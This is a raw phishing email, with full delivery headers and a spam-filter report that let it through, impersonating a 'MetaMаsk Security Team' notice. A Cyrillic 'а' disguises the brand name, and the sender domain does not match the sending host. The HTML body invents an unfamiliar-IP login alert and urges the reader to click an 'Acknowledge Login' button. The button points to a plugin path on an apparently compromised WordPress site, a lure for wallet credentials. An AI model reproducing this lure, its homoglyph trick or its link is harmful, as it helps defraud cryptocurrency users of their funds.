Return-Path: <postmaster@2a387c347a.nxcli.io>
Delivered-To: info@garderiekiddykat.com
Received: from cl-t211-187cl.majeunesse.ca
	by cl-t211-187cl.majeunesse.ca with LMTP
	id mI31AlRbPGgRcwAAV5eKQw
	(envelope-from <postmaster@2a387c347a.nxcli.io>)
	for <info@garderiekiddykat.com>; Sun, 01 Jun 2025 09:53:24 -0400
Return-path: <postmaster@2a387c347a.nxcli.io>
Envelope-to: info@garderiekiddykat.com
Delivery-date: Sun, 01 Jun 2025 09:53:24 -0400
Received: from cloudhost-927119.us-west-1.nxcli.net ([173.249.144.36]:38976)
	by cl-t211-187cl.majeunesse.ca with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
	(Exim 4.96.2)
	(envelope-from <postmaster@2a387c347a.nxcli.io>)
	id 1uLj7q-0007ii-2k
	for info@garderiekiddykat.com;
	Sun, 01 Jun 2025 09:53:23 -0400
Comment: DomainKeys? See http://domainkeys.sourceforge.net/
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=default; d=2a387c347a.nxcli.io;
  b=SmoWWj8Y16fdqx296HzaBBTzaTQjVVDWjsD9nECGDV7eXiyAHb2yXp96GZZFfqht73Wg4thOv8Zt2eBXKKWfvvbTa7qYnpjvJX/G39UZhOPI+3t0kp97WgeEf9Zj+gCW9mHNMYNn111f8kU8R0JbUP2WGlgiS2qBGPXUXke5ZCTQJ3k8BC0y5FWewfbay/ytBs5fXs8hDw01OWpA29NJnJcfIfZrc6Tns2TeUU5PNE3CBb1r6Rwole10/6XI/bOPVN6d4kXopLFEuQl2pfRwh0gKHZzzLv8jSyqYMdndyELL0M8wJMWPjBTgjp96CM612ug7GtVFCbAGNufLzzCANw==;
  h=Received:Date:Message-ID:To:Subject:X-PHP-Originating-Script:From:Reply-To:MIME-Version:Content-Type:X-Mailer:X-Priority;
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed; d=2a387c347a.nxcli.io; h=
	date:message-id:to:subject:from:reply-to:mime-version
	:content-type; s=default; bh=Zr4ewttVS+IrnZLaJTRLCuEttxhKntwS7fy
	1BfRKfQI=; b=hNLLEENxCfxa49QFWbCHZ4wrG8Za0a3WfnqiX0B6l3vpqhQWEEG
	ffWj6oUaRYZC81uLJwYuuh99QUrphU5+F4AXSKDZeFMqqVycVLgszbPQBa5sSHQT
	b5RkD0aPSi9DEP0JA2LNOFA2ZSylNTQEFbFuUHUpPrno+bFPwwVAMXRBHqjG0whx
	bZrDqut11YDOy7laJ86Aa/NZZOjwMoCoFMNUQrHL98XZ3SiKRBRWoOOvOU5kbVcd
	kb2rPIvnSVIpsxp78zALBmXeJF5+9MXVpCefegsUkNZjKqknkCxj613IlT+DsmQM
	5asroyn6Y1ZlzMq9cqzopx1y/a3rI1Dy1MQ==
Received: (qmail 32050 invoked by uid 10223); 1 Jun 2025 13:52:41 +0000
Date: 1 Jun 2025 13:52:41 +0000
Message-ID: <20250601135241.32048.qmail@cloudhost-927119.us-west-1.nxcli.net>
To: info@garderiekiddykat.com
Subject: Security Notification
X-PHP-Originating-Script: 10223:s.php
From: "MetaMаsk" <zluxs8lt@eku.io>
Reply-To: zluxs8lt@eku.io
MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8
X-Mailer: PHP/8.2.20
X-Priority: 3
X-Spam-Status: No, score=3.2
X-Spam-Score: 32
X-Spam-Bar: +++
X-Ham-Report: Spam detection software, running on the system "cl-t211-187cl.majeunesse.ca",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  MetaMаsk - Review Required Review Required Your account was
    accessed from an unfamiliar IP address. 
 Content analysis details:   (3.2 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: nxcli.io]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                            [173.249.144.36 listed in bl.score.senderscore.com]
  0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                         [173.249.144.36 listed in sa-trusted.bondedsender.org]
  0.2 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level
                             mail domains are different
  0.0 HTML_MESSAGE           BODY: HTML included in message
  0.7 HTML_IMAGE_ONLY_20     BODY: HTML: images with 1600-2000 bytes of
                             words
  0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or
                             identical to background
  0.1 MIME_HTML_ONLY         BODY: Message only has text/html MIME parts
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
                             valid
  2.0 PYZOR_CHECK            Listed in Pyzor
                             (https://pyzor.readthedocs.io/en/latest/)
  0.0 KAM_DMARC_STATUS       Test Rule for DKIM or SPF Failure with Strict
                             Alignment
  0.1 DKIM_INVALID           DKIM or DK signature exists, but is not valid
  0.0 URI_WP_HACKED_2        URI for compromised WordPress site, possible
                             malware
X-Spam-Flag: NO


<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>MetaMаsk - Review Required</title>
</head>
<body style="margin:0;padding:20px;background:#f5f6fa;font-family:Arial,sans-serif;color:#333">
  <table cellpadding="0" cellspacing="0" width="100%" style="max-width:520px;margin:auto;background:#fff;border:1px solid #ddd;border-radius:8px;">
    <tr>
      <td style="padding:28px 24px;text-align:center;">
        <img src="https://images.ctfassets.net/clixtyxoaeas/1ezuBGezqfIeifWdVtwU4c/d970d4cdf13b163efddddd5709164d2e/MetaMask-icon-Fox.svg" alt="MetaMаsk" width="48" style="margin-bottom:16px;">
        <h2 style="color:#f6851b;font-size:18px;margin-bottom:18px;">Review Required</h2>
        <p style="font-size:15px;line-height:1.6;margin-bottom:14px;">
          Your account was accessed from an unfamiliar IP address.
        </p>
        <p style="font-size:15px;line-height:1.6;margin-bottom:18px;">
          Check this alert and make sure it was you. If not, please take action immediately to protect your wallet.
        </p>
        <p style="margin:24px 0;">
          <a href="https://t18.t.buildsite.live/wp-content/plugins/noywndvlks/bmw?id=-6422338982879410951-6407" style="background:#f6851b;color:#fff;text-decoration:none;padding:10px 22px;border-radius:6px;font-weight:bold;font-size:15px;display:inline-block;">
            Acknowledge Login
          </a>
        </p>
        <p style="font-size:12px;color:#888;margin-top:24px;">
          Action is recommended if this was not expected.<br><br>— MetaMаsk Security Team
        </p>
      </td>
    </tr>
  </table>
</body>
</html>